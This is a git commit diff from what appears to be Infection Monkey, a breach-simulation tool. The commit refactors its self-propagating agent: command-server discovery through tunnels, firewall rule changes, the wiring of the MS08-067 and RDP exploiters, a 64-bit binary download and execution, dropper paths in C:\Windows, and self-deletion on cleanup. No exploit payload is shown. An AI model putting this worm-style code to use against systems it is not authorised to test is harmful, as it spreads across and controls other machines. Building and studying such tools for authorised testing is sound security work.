Fixed most CR

This commit is contained in:
Itay Mizeretz 2018-04-11 19:07:03 +03:00
parent 450f3ed3be
commit 148684d78f
6 changed files with 55 additions and 39 deletions

View File

@ -6,7 +6,7 @@ import uuid
from abc import ABCMeta from abc import ABCMeta
from itertools import product from itertools import product
from exploit import WmiExploiter, SmbExploiter, SSHExploiter, ShellShockExploiter, \ from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter SambaCryExploiter, ElasticGroovyExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
from network.range import FixedRange from network.range import FixedRange

View File

@ -4,6 +4,7 @@ import platform
from socket import gethostname from socket import gethostname
import requests import requests
from requests.exceptions import ConnectionError
import monkeyfs import monkeyfs
import tunnel import tunnel
@ -59,9 +60,11 @@ class ControlClient(object):
if default_tunnel: if default_tunnel:
LOG.debug("default_tunnel: %s" % (default_tunnel,)) LOG.debug("default_tunnel: %s" % (default_tunnel,))
current_server = ""
for server in WormConfiguration.command_servers: for server in WormConfiguration.command_servers:
try: try:
WormConfiguration.current_server = server current_server = server
debug_message = "Trying to connect to server: %s" % server debug_message = "Trying to connect to server: %s" % server
if ControlClient.proxies: if ControlClient.proxies:
@ -70,23 +73,29 @@ class ControlClient(object):
requests.get("https://%s/api?action=is-up" % (server,), requests.get("https://%s/api?action=is-up" % (server,),
verify=False, verify=False,
proxies=ControlClient.proxies) proxies=ControlClient.proxies)
WormConfiguration.current_server = current_server
break break
except Exception as exc: except ConnectionError as exc:
WormConfiguration.current_server = "" current_server = ""
LOG.warn("Error connecting to control server %s: %s", server, exc) LOG.warn("Error connecting to control server %s: %s", server, exc)
if not WormConfiguration.current_server: if current_server:
if not ControlClient.proxies: return True
else:
if ControlClient.proxies:
return False
else:
LOG.info("Starting tunnel lookup...") LOG.info("Starting tunnel lookup...")
proxy_find = tunnel.find_tunnel(default=default_tunnel) proxy_find = tunnel.find_tunnel(default=default_tunnel)
if proxy_find: if proxy_find:
proxy_address, proxy_port = proxy_find proxy_address, proxy_port = proxy_find
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
ControlClient.find_server() return ControlClient.find_server()
else: else:
LOG.info("No tunnel found") LOG.info("No tunnel found")
return False
@staticmethod @staticmethod
def keepalive(): def keepalive():

View File

@ -38,7 +38,7 @@ class MonkeyDrops(object):
arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth') arg_parser.add_argument('-d', '--depth', type=int)
arg_parser.add_argument('-l', '--location') arg_parser.add_argument('-l', '--location')
self.monkey_args = args[1:] self.monkey_args = args[1:]
self.opts, _ = arg_parser.parse_known_args(args) self.opts, _ = arg_parser.parse_known_args(args)
@ -56,7 +56,7 @@ class MonkeyDrops(object):
return return
# we copy/move only in case path is different # we copy/move only in case path is different
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
if not file_moved and os.path.exists(self._config['destination_path']): if not file_moved and os.path.exists(self._config['destination_path']):
os.remove(self._config['destination_path']) os.remove(self._config['destination_path'])
@ -108,9 +108,8 @@ class MonkeyDrops(object):
except: except:
LOG.warn("Cannot set reference date to destination file") LOG.warn("Cannot set reference date to destination file")
depth = int(self.opts.depth) if self.opts.depth is not None else None monkey_options =\
monkey_options = build_monkey_commandline_explicitly( build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
self.opts.parent, self.opts.tunnel, self.opts.server, depth)
if OperatingSystem.Windows == SystemInfoCollector.get_os(): if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options

View File

@ -48,14 +48,13 @@ class InfectionMonkey(object):
arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth') arg_parser.add_argument('-d', '--depth', type=int)
self._opts, self._args = arg_parser.parse_known_args(self._args) self._opts, self._args = arg_parser.parse_known_args(self._args)
self._parent = self._opts.parent self._parent = self._opts.parent
self._default_tunnel = self._opts.tunnel self._default_tunnel = self._opts.tunnel
self._default_server = self._opts.server self._default_server = self._opts.server
if self._opts.depth: if self._opts.depth:
WormConfiguration.depth = int(self._opts.depth)
WormConfiguration._depth_from_commandline = True WormConfiguration._depth_from_commandline = True
self._keep_running = True self._keep_running = True
self._network = NetworkScanner() self._network = NetworkScanner()
@ -71,9 +70,9 @@ class InfectionMonkey(object):
def start(self): def start(self):
LOG.info("Monkey is running...") LOG.info("Monkey is running...")
if firewall.is_enabled(): if not ControlClient.find_server(default_tunnel=self._default_tunnel):
firewall.add_firewall_rule() LOG.info("Monkey couldn't find server. Going down.")
ControlClient.find_server(default_tunnel=self._default_tunnel) return
if WindowsUpgrader.should_upgrade(): if WindowsUpgrader.should_upgrade():
self._upgrading_to_64 = True self._upgrading_to_64 = True
@ -89,6 +88,9 @@ class InfectionMonkey(object):
LOG.info("Marked not alive from configuration") LOG.info("Marked not alive from configuration")
return return
if firewall.is_enabled():
firewall.add_firewall_rule()
monkey_tunnel = ControlClient.create_control_tunnel() monkey_tunnel = ControlClient.create_control_tunnel()
if monkey_tunnel: if monkey_tunnel:
monkey_tunnel.start() monkey_tunnel.start()
@ -227,21 +229,27 @@ class InfectionMonkey(object):
LOG.info("Monkey cleanup started") LOG.info("Monkey cleanup started")
self._keep_running = False self._keep_running = False
# Signal the server (before closing the tunnel) if self._upgrading_to_64:
if not self._upgrading_to_64: InfectionMonkey.close_tunnel()
ControlClient.send_telemetry("state", {'done': True}) firewall.close()
else:
ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel)
InfectionMonkey.close_tunnel()
firewall.close()
self._singleton.unlock()
# Close tunnel InfectionMonkey.self_delete()
LOG.info("Monkey is shutting down")
@staticmethod
def close_tunnel():
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
if tunnel_address: if tunnel_address:
LOG.info("Quitting tunnel %s", tunnel_address) LOG.info("Quitting tunnel %s", tunnel_address)
tunnel.quit_tunnel(tunnel_address) tunnel.quit_tunnel(tunnel_address)
firewall.close() @staticmethod
def self_delete():
if not self._upgrading_to_64:
self._singleton.unlock()
if WormConfiguration.self_delete_in_cleanup \ if WormConfiguration.self_delete_in_cleanup \
and -1 == sys.executable.find('python'): and -1 == sys.executable.find('python'):
try: try:
@ -257,5 +265,3 @@ class InfectionMonkey(object):
os.remove(sys.executable) os.remove(sys.executable)
except Exception as exc: except Exception as exc:
LOG.error("Exception in self delete: %s", exc) LOG.error("Exception in self delete: %s", exc)
LOG.info("Monkey is shutting down")

View File

@ -3,6 +3,7 @@ import os
import struct import struct
import subprocess import subprocess
import sys import sys
import shutil
import time import time
@ -23,9 +24,11 @@ else:
class WindowsUpgrader(object): class WindowsUpgrader(object):
__UPGRADE_WAIT_TIME__ = 3
@staticmethod @staticmethod
def is_64bit_os(): def is_64bit_os():
return os.environ.has_key('PROGRAMFILES(X86)') return 'PROGRAMFILES(X86)' in os.environ
@staticmethod @staticmethod
def is_64bit_python(): def is_64bit_python():
@ -44,13 +47,10 @@ class WindowsUpgrader(object):
def upgrade(opts): def upgrade(opts):
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
monkey_bin = downloaded_monkey_file.read()
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
written_monkey_file.write(monkey_bin) shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
depth = int(opts.depth) if opts.depth is not None else None monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
monkey_options = build_monkey_commandline_explicitly(
opts.parent, opts.tunnel, opts.server, depth)
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options 'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options
@ -62,6 +62,6 @@ class WindowsUpgrader(object):
LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s", LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s",
monkey_process.pid, monkey_cmdline) monkey_process.pid, monkey_cmdline)
time.sleep(3) time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
if monkey_process.poll() is not None: if monkey_process.poll() is not None:
LOG.warn("Seems like monkey died too soon") LOG.error("Seems like monkey died too soon")

View File

@ -444,13 +444,15 @@ SCHEMA = {
"title": "Dropper target path on Windows (32bit)", "title": "Dropper target path on Windows (32bit)",
"type": "string", "type": "string",
"default": "C:\\Windows\\monkey32.exe", "default": "C:\\Windows\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine" "description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
}, },
"dropper_target_path_win_64": { "dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)", "title": "Dropper target path on Windows (64bit)",
"type": "string", "type": "string",
"default": "C:\\Windows\\monkey64.exe", "default": "C:\\Windows\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine" "description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
}, },
"dropper_try_move_first": { "dropper_try_move_first": {
"title": "Try to move first", "title": "Try to move first",